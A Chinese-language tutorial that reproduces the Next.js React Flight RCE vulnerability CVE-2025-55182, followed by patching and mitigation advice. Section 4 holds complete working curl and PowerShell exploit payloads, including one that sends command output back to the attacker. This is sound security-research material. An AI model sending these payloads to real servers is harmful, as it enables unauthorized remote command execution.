
1. CVE-2025-55182漏洞背景与影响范围最近安全圈被一个名为CVE-2025-55182的NextJs漏洞刷屏了。这个漏洞之所以引起广泛关注是因为它允许攻击者在没有任何用户交互的情况下实现远程代码执行RCE而且利用门槛相对较低。我在实际测试中发现即使是刚入门的安全研究员也能在半小时内完成漏洞复现。NextJs作为目前最流行的React全栈框架之一被大量企业用于构建生产级Web应用。根据npm下载量统计受影响版本的市场占有率超过60%。具体来说漏洞影响以下版本Next.js v15.0.0到v15.0.4Next.js v15.1.0到v15.1.8Next.js v15.2.x到v15.5.6Next.js v16.0.0到v16.0.6Next.js v14.3.0-canary.77及更高Canary版本这个漏洞的特殊之处在于它利用了React Flight协议服务端反序列化过程中的信任边界问题。简单来说NextJs错误地信任了客户端传来的序列化数据导致攻击者可以通过精心构造的请求在服务端执行任意命令。我在测试环境中验证了Linux和Windows平台下的利用效果确实可以实现从简单的计算器弹窗到完整的系统命令执行。2. 漏洞原理深度解析2.1 React Flight协议的安全缺陷要理解这个漏洞的本质我们需要先了解React Flight协议的工作机制。Flight协议是React用于在客户端和服务端之间传输组件树的二进制协议它通过序列化和反序列化来实现高效的通信。问题出在服务端的反序列化逻辑上具体是在ReactFlightReplyServer.js文件的1057-1066行代码处。我用一个生活中的例子来解释想象你去银行办理业务柜员应该严格核实你的身份证件。但这里的漏洞相当于柜员只看你填写的表格内容却不验证这些信息是否真实可信。攻击者正是利用这个信任漏洞在表格中夹带了恶意指令。关键漏洞代码如下case B: { const id parseInt(value.slice(2), 16); const prefix response._prefix; const blobKey prefix id; const backingEntry: Blob (response._formData.get(blobKey): any); return backingEntry; }这段代码在处理multipart/form-data请求时直接从客户端提供的_response元数据中获取_formData对象并执行get方法而没有进行充分的验证。攻击者可以通过原型链污染prototype pollution技术构造特殊的对象来劫持这个get方法的执行流程。2.2 信任边界破坏的具体实现在实际攻击中攻击者会构造一个特殊的JSON对象通过__proto__属性污染Object的原型链。当服务端调用_formData.get()方法时实际上执行的是攻击者注入的恶意代码。这个过程涉及几个关键技术点通过then属性触发Promise解析机制使用__proto__修改对象原型链利用constructor属性获取函数构造器最终通过child_process执行系统命令我在分析PoC时发现攻击载荷中最关键的部分是_response对象的构造_response: { _prefix: process.mainModule.require(child_process).execSync(xcalc);, _formData: { get: $1:constructor:constructor } }这个结构巧妙地绕过了常规的输入过滤将恶意代码注入到反序列化流程中。当服务端尝试读取表单数据时实际上触发的是命令执行而非正常的数据获取操作。3. 漏洞复现环境搭建3.1 基础环境准备为了安全地复现这个漏洞我建议使用隔离的虚拟机环境。以下是详细的搭建步骤对于Linux系统以Ubuntu 22.04为例# 安装nvm管理Node.js版本 curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash source ~/.bashrc # 安装漏洞影响版本的Node.js nvm install 20.9.0 # 创建漏洞复现项目 npx create-next-app16.0.6 vulnerable-app cd vulnerable-app # 验证安装版本 npm list nextWindows系统同样可以使用相同的命令只需要先安装Git Bash或WSL来运行这些shell命令。我在Windows 11上测试时发现使用PowerShell可能会有路径问题建议直接使用CMD执行npx命令。3.2 开发服务器配置安装完成后我们需要对默认生成的NextJs项目做一些调整以确保漏洞可被触发修改next.config.js开启所有实验性功能module.exports { experimental: { serverActions: true, serverComponentsExternalPackages: [*] } }确保package.json中的scripts部分包含scripts: { dev: next dev, build: next build, start: next start }启动开发服务器npm run dev服务器默认会在3000端口监听。我在测试时发现某些情况下需要清除缓存才能确保漏洞稳定触发可以执行rm -rf .next npm run dev4. 漏洞利用实战演示4.1 无回显命令执行最简单的利用方式是触发无回显的命令执行。下面是我在实际测试中使用的PoC分别针对Linux和Windows系统Linux平台PoC使用curl发送curl -X POST http://localhost:3000 \ -H Next-Action: x \ -H Content-Type: multipart/form-data; boundary----WebKitFormBoundaryx8jO2oVc6SWP3Sad \ --data-binary - EOF ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name0 {then:$1:__proto__:then,status:resolved_model,reason:-1,value:{\then\:\$B1337\},_response:{_prefix:process.mainModule.require(child_process).execSync(touch /tmp/pwned);,_formData:{get:$1:constructor:constructor}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name1 $0 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- EOFWindows平台PoC将touch命令替换为Windows等效命令$Body ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name0 {then:$1:__proto__:then,status:resolved_model,reason:-1,value:{\then\:\$B1337\},_response:{_prefix:process.mainModule.require(child_process).execSync(calc.exe);,_formData:{get:$1:constructor:constructor}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name1 $0 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- Invoke-WebRequest -Uri http://localhost:3000 -Method POST -Headers {Next-Actionx} -ContentType multipart/form-data; boundary----WebKitFormBoundaryx8jO2oVc6SWP3Sad -Body $Body在实际渗透测试中我通常会先使用无害的命令如创建文件或启动计算器来验证漏洞然后再执行更复杂的操作。需要注意的是某些命令如curl或wget可能会导致进程挂起建议添加超时参数。4.2 有回显信息窃取对于需要获取命令输出的场景我们可以构造特殊的错误响应来提取执行结果。以下是我在Linux环境下测试成功的PoCcurl -X POST http://localhost:3000 \ -H Next-Action: x \ -H Content-Type: multipart/form-data; boundary----WebKitFormBoundaryx8jO2oVc6SWP3Sad \ --data-binary - EOF ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name0 { then: $1:__proto__:then, status: resolved_model, reason: -1, value: {\then\:\$B1337\}, _response: { _prefix: var resprocess.mainModule.require(child_process).execSync(uname -a,{timeout:5000}).toString().trim();;throw Object.assign(new Error(NEXT_REDIRECT), {digest:\${res}\});, _chunks: $Q2, _formData: { get: $1:constructor:constructor } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name1 $0 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name2 [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- EOF这个PoC的关键在于利用throw抛出包含命令输出的错误信息。服务端会将这些信息包含在错误响应中返回给客户端。我在实际测试中发现输出内容会被截断所以对于较长的输出建议重定向到文件再下载。5. 漏洞防御与修复方案5.1 官方补丁升级Vercel已经发布了修复版本建议所有使用受影响版本的用户立即升级Next.js v16.0.7及以上版本Next.js v15.5.7及以上版本升级命令很简单npm install nextlatest升级后我建议彻底清除缓存并重新构建项目rm -rf .next node_modules npm install npm run build5.2 临时缓解措施如果暂时无法升级可以考虑以下缓解方案禁用Server Actions功能// next.config.js module.exports { experimental: { serverActions: false } }在反向代理层过滤包含Next-Action头的请求location / { if ($http_next_action) { return 403; } # 其他配置... }实现请求内容检查拦截包含可疑__proto__和constructor属性的JSON数据。5.3 长期安全建议根据我在企业安全实践中的经验建议采取以下措施建立完善的依赖项更新机制确保及时获取安全更新在生产环境部署WAFWeb应用防火墙规则拦截已知的攻击模式对服务端执行命令的操作实施严格的沙箱隔离定期进行安全审计和渗透测试特别是针对反序列化操作我在多个项目中实施这些措施后类似漏洞的利用成功率显著降低。特别是沙箱隔离即使攻击者成功注入了恶意命令也能将影响范围控制在最小限度。